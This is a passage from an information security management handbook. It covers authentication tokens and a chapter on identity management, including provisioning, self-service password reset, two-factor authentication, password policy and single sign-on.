automatically by the unit, transparently to the user, thereby eliminating the keystrokes. The AT smart card uses DES and has its own storage and directories, PIN security, and message authentication capability. Up to four secret keys can be programmed for each of eight different host systems. A similar system is offered by ThumScan. A portable, pocket-sized device for remote authentication is offered by LeeMah DataCom Security Corporation. The InfoKey works in conjunction with the LeeMah TraqNet security system. It is about the size of a cigarette package and is easily jackplugged into the line by users, who then use their workstations or laptops to log into the assigned TraqNet system. When TraqNet has verified the selected host, it issues a challenge to the user that will be automatically answered by the InfoKey for the user. The user does not have to do any key entry of either a challenge or a response. Vendors that offer software tokens include Digital Pathways, LeeMah, and Enigma Logic. These tokens are software modules installed on the user workstation, rather than handheld hardware devices carried by the user. They function exactly like a challenge–response hardware token but eliminate the need for the user to carry a token or to key in challenge or response data. Because the software token is a valuable item, it must be properly secured to prevent people other than the authorized user from copying or removing the module. Also, because it must be installed on the workstation being used by the user to access the secured resource, it is normally installed only on that one workstation and is not moved from one workstation to another.
Recommended Course of Action With the increasing use of networks and of outside access to computer resources, the need for security has never been greater. Authentication is the keystone in a sound security program. Based on knowledge of who the user is (with a high degree of certainty), we can control access, authorize the user privileges to perform functions and manipulate data, allow the use of encryption/decryption engines, and log and effectively hold users accountable for their actions. Without effective authentication, these functions cannot be performed with certainty. Dynamic password technology, whether implemented via hardware tokens or software, is a sound, secure, and reliable way to obtain effective authentication. Security administrators responsible for selecting tokens should evaluate vendor offerings on the basis of cost, ease of use, level of security, and industry or corporate standards, with each factor being weighted according to its importance to the organization. The host-system security software should also be selected with as much care as the token to achieve optimal security.
5 Identity Management: Benefits and Challenges Lynda L. McGhie
Introduction Organizations finding themselves pushed further and further onto the Internet for electronic business are exposed to heightened risk to information security and have greater concerns for data protection and compliance with the ever-emerging and ever-evolving legislation and regulations regarding privacy, data protection, and security. Additionally, customer-facing portals and complex Web services architectures are adding a new complexity to information technology and making it more difficult to protect information. Managing access to information also becomes increasingly more difficult as security administrators struggle to keep up with new technology and integrate it into existing administrative functions. As organizations continue to pursue new business opportunities, move operations off-shore, and outsource day-to-day operations and development support, the “keys to the kingdom” and their information assets are increasingly at risk. No question, the business imperative supports accepting and mitigating this risk, thereby further enabling organizations to partner and team externally and electronically with business partners, customers, suppliers, vendors, etc.; however, if organizations wade into this environment blindly, without upgrading the existing information security infrastructure, technologies, tools, and processes, they may inadvertently put their organization at risk. Organizations that embark on identity management implementations, not just for compliance projects but as their core underlying security infrastructure, will ensure consistent, standard, and compliant security solutions for the enterprise.
Why Is Identity Management a Solution? The growing complexity of managing identities, authentication, and access rights to balance risks and access, as well as meet the organization’s business goals and security requirements, is often forgotten in the haste to implement new and enhanced systems to maintain the competitive edge. An additional outgrowth of this trend has been a dramatic increase in access to information and new and expanded E-business infrastructures. As more and more new systems and applications are being added to existing information technology (IT) and business infrastructures, while legacy systems continue to be retrofitted, increasingly complex access roles (groups) are emerging to accommodate and manage access to information. Additionally, as more and more user IDs and passwords are added to support this new environment, they must be managed in an administrative environment that continues to grow more and more disjointed. Existing security administration and management systems and supporting processes cannot scale without new investment and the addition of new technology and automated processes.
51
52
Information Security Management Handbook
Many organizations are looking toward advancements in identity management (IM) and identity and access management (IAM) products to solve the problems created by the increasing complexity of today’s IT environments. Additionally, IM/IAM solutions enhance an organization’s effectiveness in managing risks associated with the new technologies. These products have been around for some time, traditionally trying to solve the single sign-on (SSO) problem, but they have adapted and evolved to include other feature sets, such as account provisioning, password management, password self-service, advanced authentication and access management, and workflow. By implementing a well-planned and wel-thoughtout IM or IAM strategy that provides cost-effective account management and enforceable security policies, organizations can actually recover investments in information security solutions and demonstrate a return on investment (ROI).
Getting Your IM/IAM Project Started New and evolving legislation and regulations have been a double-edged sword for information security. In response to these laws and regulations, companies continue to launch separate and distinct compliance projects. Typically, these compliance projects are driven by organizations outside the corporate information security function, such as human resources, finance, legal, audit, compliance, privacy, or information technology. Often, these organizations are totally focused on compliance without knowing or understanding that the necessary technology and processes are already in place, or planned by the security team, to accommodate and manage the overall enterprise information security and risk posture. The controls mandated by these laws and regulations are not new or unfamiliar to well-seasoned security professionals and are, in fact, part of the “security bibles” that we have been referencing, following, and complying with for decades (e.g., NIST, ISO 17799, COBIT, COSO). These guidelines and standards will be further discussed later in this chapter as they relate to the components of an IM/IAM infrastructure, as well as ways in which they assist with the compliance task, secure the infrastructure, ensure identities and authentication, protect and grant access to information, and manage the administrative security process. The important point here is that the hype and fear surrounding the issue of compliance should not be the tail that wags the dog of a company’s overall enterprise security program. Initially, the information security team will be optimistic and look forward to security investments and enhancements to complement the existing information security program. Most frequently, however, this additional budget outlay will be met with grief by executive management and stakeholders, who will advocate taking the least expensive path to compliance. Security teams will be pressured to utilize existing tools and processes, even though they may be out of date or not up to the challenge of legal and regulatory compliance. It is difficult to ensure that new compliance investments will complement and enhance existing solutions. Even though laws and regulations are driving the outlay of new funding for information security, the budgets of other projects of the security team may suffer. Another threat to the overall enterprise security posture is the loss of resources or attention to security and privacy as compliance dates come and go, with the result being an increased likelihood of failure, partially implemented technology or processes, the loss of management attention and business and technical resources, and the risk of noncompliance over time. The information security program must continue to educate the organization and help them understand that information security is not a project but is an ongoing process. Additionally, security is embedded in all aspects of the business and IT infrastructure, with tentacles spreading to all projects and functional areas; therefore, it is essential to involve IT security in new and enhanced processes as well as to continue investing in new technology and process enhancements. Security alone is good business, and security embedded in new and enhanced technology and business processes is simply better business.
Identity Management: Benefits and Challenges
53
Getting Buy-In and Support It is important to gain enterprisewide concurrence with the organization’s definition of identity management and what it means to the enterprise. Additionally, it is important to agree on what components of IM will be implemented and in what order and what the phased implementation plan and schedule will look like. Understanding the scope of a company’s IM solution is important to defining the overall project objectives, meeting goals and timelines, and ensuring overall project success. The IM realm continues to evolve, and more companies offer products and technical solutions. Standards ensuring interoperability are also coalescing, and suites of products work together seamlessly to provide costeffective IM solutions that can be sized and scoped to the needs of a particular organization. Being armed with a thorough understanding of IM is an asset to gathering support from stakeholders, team members, executive sponsors, and the business.
Initial Thoughts and Planning The primary motivation for embarking on an IM project may be to respond to new laws and regulations and the urgency of compliance. If this is the case, a company should assess its current risk and state of compliance and then determine what IM feature set or components will help achieve compliance. For IM projects designed to enhance the effectiveness of existing security administrative systems in order to streamline their effectiveness or improve time to market, the requirements and resultant approaches may differ. For a large, broad project that enhances a current enterprise IT security posture while complying with various new laws and regulations and incorporating IM into other IT infrastructure projects (Active Directory), the project will be a large and complicated one. The issue of who owns the project becomes uncertain. Additionally, the funding source could then span functional organizations and even separate business units within a single entity. Such issues add levels of complexity and potential points of failure throughout the project. Having acknowledged that an IM project could have many drivers, such a project could also have any number of project sponsors, project owners, and funding sources. Some IM projects may be financially driven, such as Sarbanes–Oxley (SOX), and managed by the chief financial officer (CFO) or the controller’s organization. Some IM projects may be driven by other IT enhancements, such as implementation of Microsoft’s Active Directory system. Still others could be led by any combination of legal or human resources staffs, the compliance officer, or the chief privacy officer. Ideally, the IT security team is the owner of the IM project, and the executive sponsor is the chief information officer (CIO), coupled with executives from one of the functional areas listed above. Typically, the sponsoring executive would be the one in charge of and managing the project funding. A high-level enterprise executive steering committee can help to guide and govern an IM project while ensuring that its many bosses are served.
Demonstrating IM Return on Investment Because information security is typically a cost center rather than a profit center, its function and resultant budget allocation are always in competition with other cost centers. This is particularly painful when competing for budget and resource allocations. Some functional organizations that typically have project overlap, synergies, and shared responsibilities include human resources (HR), finance, legal, compliance, risk management, insurance, and audit. Over the years, these organizations have been viewed as noncontributors to the company’s revenue stream and have not fared well when cost-cutting and other reductions are being considered. Additionally, because information security most typically resides in the IT organization, its projects must also compete for resources and funding with other IT projects that are more frequently driven by operations where a return on investment can be easily identified, quantified, and supported.
54
Information Security Management Handbook
Several years ago, Gartner, Inc. (Stamford, CT) predicted that by 2005 help-desk costs associated with end-user password resets would be reduced by 70 percent through the implementation of self-service password management. The password management, self-service aspects of IM are frequently one of the first functional or module implementations and help build a ROI for the initial IM investment. Further, Gartner estimated that, by 2007, enterprisewide identity management solutions would demonstrate a net savings in total security administration costs (operations plus administration) of 21 percent. This savings can be realized through centralized provisioning and account management as well as workflow to automate and standardize security administration. Gartner outlined the costs and projected savings for an average IM implementation including, password self-service, provisioning, and workflow. User provisioning software license costs for a 15,000-user enterprise can run as high as $700,000. Also, password reset and user ID problems represent 15 to 35 percent of help-desk call volume (at a typical cost per call of $10 to $31). It is no wonder that enterprises need, and want, to justify the cost of an identity management project. To do so, they typically consider three factors: • Head-count reduction of the help desk or security administration organization performing dayto-day activities such as password resets and user account management • Productivity savings for end users (they can reset their password faster than calling the help desk) and business management (for faster access-request approval processing) • Risk management, including electronic data processing audit management, best practices, and regulatory compliance Other sources estimate that as many as 70 percent of the calls to the help desk are for password resets and password problems. As with any project, to best justify project approval and resources, it is necessary to understand the current environment and problems to be solved. Many organizations do not do this or really do not have an understanding of their current environment or the problems they are trying to solve. This is particularly true for security projects traditionally spanned by the FUD (fear, uncertainty, and doubt) principle. On the other hand, help-desk metrics are generally maintained and can be beneficial to building the case for an IM system. If the security administration group keeps metrics, supports a service level agreement (SLA), or even has an overall understanding of the turnaround time for processing user requests for account initiation and management, these will at least further justify such projects, in addition to password resets. Also, with regard to the account/user ID administration function, it is possible that supporting paperwork or authorizations are not being kept or cannot be produced for audits. IM can help with this problem through its workflow and reporting process. This is why IM is finding a new purpose in life with compliance projects. A clean IM implementation can also assist in providing integrity to the identification process through good passwords, good authentication, and password self-service. Other metrics to consider include other IT and functional organizations such as the help desk, security administration, HR, IT services, and contract management (for identifying the number of temporary workers, contractors, and consultants). For identified cost savings and ROI, Gartner recommends the following four categories for metrics measurement and reporting: • • • •
Transaction volume Access request process fulfillment IT risk management Security administration infrastructure
Another area to investigate is replacement of multiple online identities that users are required to know and administrators are required to maintain. In medium to large enterprises, these multiple identities result in a somewhat disjointed administrative environment, where one hand does not know what the other is doing with regard to granting and managing access. A valid IM goal, then, is to consolidate and reduce the numbers of online identities and credentials to be managed for each individual user. In larger organizations, these numbers get interesting very quickly.
Identity Management: Benefits and Challenges
55
According to RSA Security (Bedford, MA), organizations can look for cost reductions and efficiencies through centralized, automated solutions that enable the elimination or reduction of costs stemming from deploying and managing disparate user management systems. Additionally, organizations can derive enhanced security, while differentiating themselves from the competition, by providing a more secure online E-business infrastructure. One example is enforcing privileges and implementing strong authentication, thereby reducing the likelihood that sensitive data may be accidentally exposed to the wrong users. With an effective identity management solution in place, organizations can manage their business with a degree of flexibility, responsiveness, security, and economy that is simply unattainable with today’s fragmented approaches to user management. By considering all of the factors mentioned here, organizations can set realistic ROI goals for identity management solutions and then deliver on plan and on schedule.
Project Management Challenges As mentioned previously, different companies have different IM requirements and drivers. While IM projects will have aspects of commonality, they will also be unique and specific to a single entity. Because IM is evolving technically and functionally and standards are finally coalescing, solutions should have an eye toward being adaptive and agile. Additionally, because IM projects could include a variety of component parts, they should have a phased design and implementation structure. As IM evolves within the organization and within the industry, companies will want to consider incorporating greater IM capabilities, including advanced features of identification, authentication, and authorization. A company can begin with a prototype environment utilizing representative systems from the overall project footprint. After proof of concept, more components can be added to the IM system, as this is where the company will realize greater cost savings and ROI. Also, the company should plan on continuing to enhance baseline system functionality and plan for such future enhancements as single sign-on (SSO), federated identity management, digital certificates, electronic signatures, centralized and decentralized management, provisioning, workflow, and integration with meta-directories and HR systems. These features are all discussed later in this chapter. The brief discussion here has indicated that an IM project has the potential of growing very quickly, evolving, and quickly becoming unwieldy and unmanageable. To be successful, adherence to a strict project management methodology and governance process is absolutely necessary. Remember, one size does not necessarily fit all, so it is important to seek the counsel of experts in the field, such as consulting firms; vendors; standards bodies; security organizations, such as SANS or Computer Emergency Response Team (CERT); and other professional security groups, such as Information Systems Security Association (ISSA), Computer Security Institute (CSI), or Information Systems Audit and Control Association (ISACA). One final project goal and objective embedded in all laws and regulations, specified in all security standards and guidelines, and most likely already embedded in an organization’s internal information security policies and procedures is the concept of confidentiality, integrity, and availability (CIA). CIA should be highest of the core and fundamental goals of all security projects and resultant and supporting technical infrastructures. The definitions below are universally accepted and have stood over time: • Confidentiality — Data or information is not made available or disclosed to unauthorized persons or processes. • Integrity — Data or information have not been altered or destroyed in an unauthorized manner. • Availability — Data or information is accessible and useable upon demand by an authorized person.
More on Planning Companies that are already utilizing the Internet for business and those who already have electronic commerce and Web-based applications have most likely already considered compliance issues and security and are well vested relative to good security practices and compliance. The reality is that all companies
56
Information Security Management Handbook
will have to make some adjustment to comply with the barrage of legislation and regulations regarding privacy and the protection of information. Because security guidance has been available for some time within the government, across the industry, within universities and national laboratories, and from other research organizations and standards bodies, many organizations are considering implementing IM solutions or may have already consolidated administrative functions, implemented a workflow system for account/user ID management, or implemented other automated administrative processes. All security and compliance projects should begin with identification and documentation of the “as is” state as a baseline. This typically requires a new and enterprisewide risk assessment. All existing risk assessments should also be used to provide input to defining the overall as-is state. As mentioned earlier, defining a solid set of project goals and objectives and the creation of a project plan and schedule are the most critical steps in the process. Getting upfront buy-in and approval is also critical, as is obtaining an experienced project manager who has managed enterprisewide IT and business projects. The results of the risk assessment should be mapped to the controls prescribed in the organization’s security policies and procedures and the laws and regulations being addressed. Also, other security feedback can serve as input to the planning process, such as results from vulnerability scans and disaster recovery testing or recent audit reports. The next step is a gap assessment, which will determine the controls to be implemented and project components. The initial risk assessment must evaluate the entire IT environment, including data, networks, applications, and systems. Organizations will then have to determine what security policies and procedures must be written or augmented. It may be necessary to purchase or acquire new products or technology, in addition to enhancing or augmenting current products and technology. Additionally, it is possible that a simple restructuring of the security organization and a consolidation and centralization project could meet project needs and requirements. Outsourcing is another possibility. This could take many shapes and flavors, such as outsourcing part of security management or the entire security operation. The entire scope of people, processes, and technology should be considered for improvement, automation, and centralization. Remember that IM projects can get big very fast, and the best guidance is to keep it small initially by planning a proof-of-concept pilot and implementing a phased approach. If it is necessary to acquire new technology or enhance existing technology, a thorough product evaluation should be performed. It should involve IT and business organizations according to the company’s established processes of communication and partnership. Trusted vendors and business partners can be involved in the process. Working with vendors who have established themselves as experts in IM and IAM is recommended; do not be lured by new and unproven technology solutions. Products must be able to support heterogeneous and complex environments when necessary. It is important to look beyond systems and networks to large enterprise application support for products such as Oracle and SAP, for example. Because IT and business training is also critical to the success of a project, vendors not only should be product experts but should also have a track record of supporting their products with ongoing service that includes training. Companies will want to partner with their vendors throughout their IM projects to exploit their experience with other companies and other implementations. Vendors who have wellestablished products and a significant marketshare will be able to offer a wealth of helpful advice and experience.
Identity Management Infrastructure Underlying the need for organizations to establish and maintain a single integrated and authenticated identity management system is the establishment and implementation of a single, universally accessible, common IM infrastructure. Organizations should strive to achieve a centralized and decentralized IM implementation that eliminates the inefficiencies and vulnerabilities of independent decentralized approaches. A unified infrastructure will provide centralized, highly automated capabilities for creating and managing trusted user identities. It will allow administrators to define user access rights with a high degree of flexibility and granularity, in keeping with business goals and security policies. It will also validate identities and enforce rights and policies consistently across the enterprise, thereby further
Identity Management: Benefits and Challenges
57
enhancing security and supporting compliance requirements. RSA defines identity and access management (IAM) as “an integrated system of business processes, policies, and technologies that enable organizations to facilitate and control users access to critical online applications and resources — while protecting confidential personal and business information from unauthorized users.”
Administration, Provisioning, and Workflow One of the biggest challenges to organizations is handling access to data, systems, applications, and networks when employees are hired, moved within the organization, or terminated. This challenge is compounded for external users, such as contractors, vendors, partners, and customers. The larger and more complex the organization is, the greater the challenge. By successfully managing this process from end to end, users will more quickly obtain system and application access, thereby becoming more effective and productive as quickly as possible. Good management represents a cost savings to the organization and can provide a demonstrated ROI. The challenge is even greater for organizations that are highly distributed with independent functions doing the granting and the management of account/user ID management. It is even more complex when parts of the administration function are centrally managed and other parts are decentrally managed. Another complexity is added when employees move from site to site or have access to multiple individual business units within one larger entity, such as company members of a larger corporation. Provisioning provides automated capabilities for activating user accounts and establishing access privileges for those accounts across the entire enterprise. Many opinions and metrics exist regarding the time it takes to set up a user account initially, manage it over time, incorporate changes, and ultimately delete it. A variety of sources have estimated that it takes an average of 28 hours to set up an initial user account. In theory, then, every subsequent change to a user profile must also touch the same access databases, thereby potentially requiring another 28 hours per change. Some examples of changes include users changing positions or roles, thus requiring a change to access requirements or physically moving access to a different location. One of the most important changes to an account or a user profile occurs upon termination. It is imperative that terminated employees be immediately removed from the system or, minimally, that their access be immediately terminated. In cases of suspension, after completion of file cleanup and fulfillment of delegated responsibilities and other administrative processes, actual deletion of the account/user ID should quickly follow. In highly decentralized and distributed organizations, supporting many applications and systems, it is important to coordinate the termination and account revocation process centrally and to automate this process to the extent feasible. It is also imperative to have an HR system interface to the IM system to compare the IM database to the HR database to highlight and react to changes. This functionality may be provided by another meta-directory such as Microsoft’s Active Directory (AD) as long as it is the designated and established authoritative source. If one considers this situation logically, there is no effective or manageable way to perform such tasks without automation and centralized management, tools, and processes, but organizations are continuing to fall behind in this process. As a result many systems have outdated user profiles or even “ghost accounts” (outdated accounts for users who are no longer working within the organization or have changed roles and obtained new accounts/user IDs). An outdated but typical answer to this growing problem has been to add staff and manual processes in an effort to get a handle on the process of granting access, managing user IDs (accounts) and passwords, and granting access to objects within systems, such as data, databases, applications, systems, and networks. As more users are added, more profiles must be managed via a process that becomes increasingly burdensome and costly. Longer term support to sustain the IM system over time is threatened because of changes to the environment such as changes in sponsorship, budget allocations, IT and business priorities, or knowledgeable personnel. The IM team may over time find themselves left with an outdated system and support. Meanwhile, the function continues to expand and problems escalate, causing more risk to the organization.
58
Information Security Management Handbook
When organizations struggle with such problems, they often look toward automation. Initially, an organization may think this automation can be achieved by writing programs and scripts. They may turn on other functionalities within operating systems, databases, or applications to make use of a number of utilities. Finally, they will look toward commercial off-the-shelf (COTS) products that integrate access control administration across heterogeneous platforms. Some organizations may be unable to make or support the case for purchasing additional products or technology due to poorly defined and supported cost–benefit analyses. These organizations must rely on efficiencies gained through streamlined manual processes and maximized implementation of each individual product and access control system. It is this problem that IM products and technology are also trying to solve, in addition to addressing the legal and compliance issues surrounding ensuring that entities are who they claim to be. The administration aspects of granting and managing access greatly contribute to cost–benefit analyses and building a case for product and process improvements or investments in this area. The ROI is quantifiable and defendable, but it takes time to understand the current environment, envision an end state, conduct a gap analysis, and lay out an implementation plan for improvement. It should be noted that improvement involves not only faster access to systems, fewer errors in granting access, and compliance with company policies and procedures but also streamlined overall management and compliance. Many IM or IAM products provide workflow front ends to automate and streamline the process of gaining access to systems, data, transactions, etc. As noted, this could be a complicated process, particularly for new employees and nonemployees or for systems where the process is not centrally documented and managed. A typical employee requires access to as many as twenty separate applications and systems. The initial setup process can be frustrating and time consuming because often new employees must peel back the onion to figure out what access they may need just as a baseline to being successful. Through process improvement, automation, workflow management tools, and new supporting infrastructures these processes can be consolidated and centralized. The ongoing goal continues to be finding the optimal blend of centralization and decentralization that will optimize the organization’s efficiency. This contributes to the organization’s business imperative and bottom line. This case must be made and defended and finally demonstrated throughout each phase of an IM/IAM implementation. Due to its universal reach and complexity, this is a project that can take some time. During the initial stages of an IM project, organizations determine which systems will take part in the pilot and which systems will be included in the overall project scope, in addition to how systems will be added over time, what the project phases will look like, and how they will be managed. The initial project may envision an end state utilizing all the component parts of a robust IM system, or it may envision a system that provides only provisioning and password management. Done right the first time, the successful initial implementation of a centralized IM infrastructure could have the results promised in the old adage: “Build it and they will come.” Minimally this should be the goal. When users are added to the overall IM system, they reside in the core database and are managed from there out to the distributed environment. The IM system governs the relationship between decentralized systems and supporting administrative systems and underlying processes. No matter how it is decided to share and populate the core system (master or system of record) and distributed systems (slaves), it is important to have these systems synchronized in real time. Synchronization is important not only for failover and recovery but also to ensuring that user profiles granting access are up to date and correct. Because this is configurable and can be tailored to each organization’s particular needs, workflow and integrated centralized account management do not ever have to happen, or certainly not upfront in the process and within the initial phases of the project. Workflow provides an automated front-end system that is Web enabled and forms based. It provides a mechanism for end users to communicate with the centralized and decentralized administration management system or IM/IAM system. Users access this system, complete forms, and are granted access. The forms automatically route for approvals and ultimately to the appropriate system administrator. In the best case scenario, users are added to the central database system with approved system access rights and roles during a single session. New profiles or modified profiles are instantly shared with the decentralized systems for which they have access or authenticated rights. This provides a single
Identity Management: Benefits and Challenges
59
record of the process for granting and revoking access to systems and information. The system provides a centralized repository for documentation, as well as audit trail information and a central archive. Archive and retrieval are pivotal components of an IM implementation for compliance purposes and also for information security incident management and forensics. Access management reduces risk by ensuring that access privileges are accurately controlled, consistently enforced, and immediately revoked upon termination.
Self-Service Password Management The password management features of IM are among the most attractive to organizations, and many enterprises are implementing third-party self-service password reset tools that enable users to change their own passwords upon expiration or to reset passwords when they have forgotten them and have locked themselves out of the system. With self-service password management, when users have forgotten their passwords they are required to authenticate themselves via an alternative method before being given access to the password reset function. In the case of a forgotten password, the tool requires the user to enter the answers to a predetermined set of questions (the answers have previously been provided during initial registration to the password reset facility). The prompting question should not conflict with laws and regulations regarding the protection of customer information or privacy information; in other words, prompting for a customer account number or Social Security number is not allowed. Additionally, prompting for commonly known information such as name or mother’s maiden name should be avoided. Exploiting such information is a fairly trivial matter for attackers familiar with social engineering or even database look ups. Controls should specify the number of times a user can enter an incorrect answer before alerting the system administrator for manual intervention. The answers must be kept secure and treated like sensitive information, with limited access and audit and monitoring enabled. Third-party self-service password reset tools are attractive to enterprises in which a large percentage (e.g., 40 percent) of help-desk calls are for password resets. The tools not only reduce the cost of enduser support but also provide a more secure method for resetting a password, because user or requestor identity is authenticated through the prompting for private information, provided earlier by the user. Manual password changes to the help desk are frequently not authenticated without an automated password management process. This practice is not compliant and is heavily subjected to security compromise and error. This is of particular concern for contractors and other nonemployees with access to a company’s system. These users are usually not in the identity or HR official record databases.
Authentication Authentication establishes an identity owner, and the resultant single credential closely reflects the way identities are established and preserved in the offline world. The identity and supporting authentication system should be robust in detail, integrating data from a multitude of authoritative sources and pushing up-to-the-minute data back to those same sources. The technology and its supporting processes should reach out centrally to the decentralized technical and functional organizations, resulting in provisioning a trusted user with secure access to all the applications and resources that an individual needs to be productive in his or her relationship within the organization. For years, user IDs and passwords have been adequately filling the bill for ensuring that persons or entities requesting access or service are who they say they are. This process is known as authentication. As information technology has evolved over the years, the password management process has improved. Many companies continue to rely on standard user IDs and passwords within their secure perimeter or within their company’s protected and secured intranet. Many of these same companies do, however, have enhanced IM and authentication to accommodate increased threats and vulnerabilities or changes to trust models. Examples of enhanced risk and trust are remote access, wireless networking, traversing
60
Information Security Management Handbook
internal trust domains having differing trust levels, and accessing sensitive and high-risk systems and customer confidential data. The previous discussion has addressed a perfectly acceptable and compliant IM that may be enhanced state-of-the-art user IDs and passwords with a compliant and well-managed administrative and technical support process (identity management or password management). As technology and business drivers have evolved to require employees to be more mobile to increase productivity and ROI, mobile technology has evolved to be cost effective and secure. Most companies today support a mobile work force and mobile computing or access from home for their employees. After assessing the risks associated with such access and the necessary control and process support requirements, a plan can be developed to enhance password management and authentication to include a higher level of authentication, typically migrating from single-factor authentication, passwords, and pins to higher level, more secure two-factor authentication. Single-factor authentication requires something the user knows. Two-factor authentication adds one more dimension, typically something that the user has. In this case, it is a token that generates a time-synchronized number when used in combination with a known password or PIN. The evaluation and selection of a higher level authentication system and its ongoing management and operation can consume ever-increasing resources, which should be factored into the complexity of technical solutions. Companies should be leery of new, untested, and unproven technologies. An approved, compliant, and sound security strategy may revolve around simply building on the integrity and management of an existing user ID and password management system. Other forms of enhanced authentication are support through the use of USB port authenticators, public/private key encryption, Kerberos, digital certificates, smart cards, etc. Two-factor authentication provides more integrity to the process, thereby ensuring that the person or entity is indeed who he or she is claiming to be. The authentication is innately stronger than standard user IDs and passwords (something that you know) and actually builds upon sound password management practices by adding an additional layer of authentication and security. Two-factor authentication improves the integrity of the authentication process by adding a second identifier (who the user is or what the user has). Over the years, for remote access the traditional two-factor authentication has been the user ID, standard password, PIN number, or a randomly generated authentication code generated by something the user has, which is typically a SecurID card. Biometric devices, such as those that read a fingerprint or iris pattern, are considered a stronger form of user authentication. When used alone, they are considered one-factor authentication; when combined with a PIN, password, or token, the solution is considered two-factor authentication; and when all three are used, the solution is considered three-factor authentication. Organizations can enhance security by requiring users to present multiple credentials or “factors.” The more factors required, the greater the level of protection. Strong authentication validates an audit trail of user activity by requiring conclusive proof of identity before granting access to sensitive resources.
Password Management One of the factors driving the growth of identity management solutions is widespread dissatisfaction with password protection. First invented in 1963, password-based authentication systems gained wide acceptance because they were easy to use, came free with various applications, and provided adequate security for most purposes. Equally important — with many organizations supporting dozens of distributed password systems — is the fact that passwords are costly to administer and a major security threat, due to their inherent vulnerability and the lax password practices of some users (such as attaching sticky notes with passwords and usernames to computers or using obvious passwords such as names and dates). Although they are used widely, single-factor static passwords are the weakest form of authentication and are becoming weaker over time as new technology and hacker skills are finding ways to crack even the most secure password configurations. While six-character passwords combining alphanumerics with
Identity Management: Benefits and Challenges
61
special characters have been recommended standards for decades, many companies are tightening up standard password management to enforce eight-character passwords that are a combination of upperand lowercase letters, numerics, and special characters. In the past this has been recommended but not necessarily enforced at the system configuration level. Most systems previously allowed those characters to be specified in the password string, but today it is becoming mandatory to include each of these elements in a password. If a company is certain that its password configuration or password management approach is sound, it can either eliminate or reduce its password cracking processes to check for good passwords. Most systems today feature secure password configuration and management as the first lines of defense. Secure password configuration must be followed up with secure password management. If the help desk, security administrators, system administrators, and others with system administrative or security privileges can and do change passwords, it is important to ensure that the password change and management process is secure, up to date, and, most importantly, followed. This process should be monitored closely via ongoing and regular internal and external audits. Passwords should not be reset with telephone calls that do not ensure the identity of the caller or match to the account. Nonemployees or contractors also should not be allowed to reset their passwords over the telephone without a process in place to ensure identity. Also, when nonemployee accounts are suspended by the security group, they should not be allowed to be unsuspended by the help desk, only by the security organization or administrator with authorization from the sponsoring company manager. Successfully authenticating a user establishes his or her identity, and all activity under that identity is tracked, thereby making the user accountable for the activity, thus the need for good management practices regarding authentication information. PINs or passwords are currently the standard user authentication solutions, both on the Internet and for internal applications. PINs typically control access to personal information (e.g., bank account information), and passwords are used to control access to personal information as well as shared information, such as sensitive or trade secret information contained in data files. Following is a list of good password management practices; refer to ISO 17799, NIST and other guidance for additional password management standards and practices: • The best line of defense for secure password management is up-to-date information security that addresses secure password management. By involving users in the process through a strong user awareness program, everyone understands the expectations of their role and the best practices imposed by the organization. • Most organizations advocate not writing down passwords. Others acknowledge that passwords might need to be written down if users must memorize multiple passwords. Additionally, as organizations move to stronger password configurations or randomly generated passwords, it becomes increasingly more difficult to remember these passwords. Organizations acknowledging the need to write down passwords advocate storing them in a secure place. • Security awareness programs and communications should warn users about the dangers of social engineering; for example, people posing as systems administrators or managers could request a user’s password under the guise of eradicating a system problem. • Today’s acceptable password length is a minimum of eight characters with an enforced password configuration of a combination of upper- and lowercase alphabetic characters, numeric characters, and special characters. • A default password should be assigned when the account is created and the users should be prompted to change the password upon initial log-on or account access. • All administrative communications regarding user IDs and password initialization or account creation should be by separate communications — one communicating the user ID and a second separate communication regarding the initial one-time-only password. • All passwords must be stored in a one-way encrypted format. • All access to the authentication server must be strictly controlled.
62
Information Security Management Handbook
• Passwords must never be displayed on the screen but should always be masked using dummy characters, such as an asterisk. • Password history should be configured to ensure that users do not reuse the same password over a period of time. • Passwords should be set to expire with a systemwide parameter within 60 days, minimum. • Passwords for privileged accounts should be set to expire within 30 days. • Screen savers or other software capabilities must be utilized to enforce automatic logoff for periods of inactivity greater than 15 minutes. • Accounts should be locked out following three to five password attempts or guesses. Accounts should automatically be locked out and reenabled by the system administrator. By tightening password management policies and supporting management systems, an organization can significantly reduce the vulnerabilities related to poor password practices.
Single Sign-On Single sign-on (SSO) enhances the integrity of the single credential or password. It is a productivity enhancer for both users and administrators. Users only have to remember one (or, more realistically, a smaller number of passwords). When their passwords expire, they only have to make the change to the central IM system, and the changes are automatically sent out to all decentralized systems registered to the core IM. SSO enhances the productivity of systems administrators because they do not have as many profiles and accounts to manage. They can install an account once, and it is populated out to all the systems the user is approved to access. This process becomes less expensive and faster as a single user accesses many systems and incurs some profile changes over time. Similarly, as illustrated previously, one of the greatest vulnerabilities to the system administration and account management processes is processing terminated users quickly and ensuring that the revocation process immediately follows termination or any change to a user’s role within the organization. A user terminated from the master database is instantly denied all access to the decentralized systems simultaneously. By reducing the number of passwords a user must keep track of, SSO also reduces password-related help-desk costs. For years, companies have sought to implement an SSO or other reduced sign-on solution to achieve economies of scale for end users as well as system and security administrators. Early solutions involved scripting and other hokey back-end or in some cases back-door interfaces to present front-end SSO type systems to the end user. The back-end processes then communicated with each system, sending cleartext passwords around the network from system to system. Highly vulnerable to man-in-the-middle attacks and password sniffing or even unintentional password compromise, these early systems introduced more risk than they tried to mitigate. The initial premise was that, as users were required to remember and manage a greater number of user IDs and passwords, the integrity of these user IDs and passwords would be lost over time, threatening the overall security and integrity of the system. In the early phases of SSO, passwords were the only real solid authentication technology that was technically stable and cost effective to implement, but compromises to a single password or even the entire password file in vulnerable piecedtogether SSO systems introduced a vulnerability into an organization and its supporting IT infrastructure that most organizations were not willing to accept. In an SSO environment, users only need to authenticate themselves once, after which they can directly access any application on the network for which they have permission. This eliminates the annoying stop-and-go user experience that results from multiple log-ins. Best of all, users no longer need to keep track of multiple passwords. Even in environments that continue to rely on a single password for authentication, SSO makes it much easier for users to follow secure practices. For example, with only one password to remember, it is more reasonable for a company to require users to employ strong passwords (ones that contain multiple nonalphabetical characters) and expect that they will not write them down.
Identity Management: Benefits and Challenges
63
